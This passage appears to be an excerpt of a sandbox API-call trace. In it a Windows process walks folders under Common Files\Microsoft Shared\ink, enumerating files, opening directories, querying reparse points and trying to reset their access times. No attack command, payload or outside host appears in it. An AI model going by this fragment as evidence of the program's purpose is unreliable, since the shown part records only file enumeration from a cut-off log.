lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0046.960] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0046.960] GetLastError () returned 0x12 [0046.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0046.960] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0046.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0046.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0046.960] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0046.960] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0046.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0046.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0047.082] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0047.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.083] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0047.085] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.085] NtClose (Handle=0x174) returned 0x0 [0047.087] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0047.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6640 [0047.090] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6748 [0047.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0047.094] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.096] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.097] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.099] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee6850 [0047.100] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5378 [0047.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8328 [0047.105] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.106] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0047.107] GetLastError () returned 0x12 [0047.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0047.110] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0047.111] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.112] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0047.114] GetLastError () returned 0x12 [0047.115] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6748) returned 1 [0047.116] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.118] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6850) returned 1 [0047.119] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee6640) returned 1 [0047.119] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0047.120] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0047.121] GetLastError () returned 0x12 [0047.122] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5ae8) returned 1 [0047.122] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee5bf0) returned 1 [0047.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.126] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0047.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.127] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0047.136] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.138] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.140] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.140] NtClose (Handle=0x170) returned 0x0 [0047.142] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.145] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.148] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.652] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee5398 [0047.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8430 [0047.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0047.652] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.652] GetLastError () returned 0x12 [0047.652] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.653] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0047.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.653] GetLastError () returned 0x12 [0047.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.653] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0a78) returned 1 [0047.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.653] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0047.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0047.654] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee98e8 [0047.654] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee98e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xee98e8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0047.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee98e8) returned 1 [0047.654] NtClose (Handle=0x17c) returned 0x0 [0047.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0047.654] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0047.654] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.654] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0047.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee0a78 [0047.655] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0047.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee53b8 [0047.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee8538 [0047.655] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0047.655] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.655] GetLastError () returned 0x12 [0047.655] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0047.655] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0047.655] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 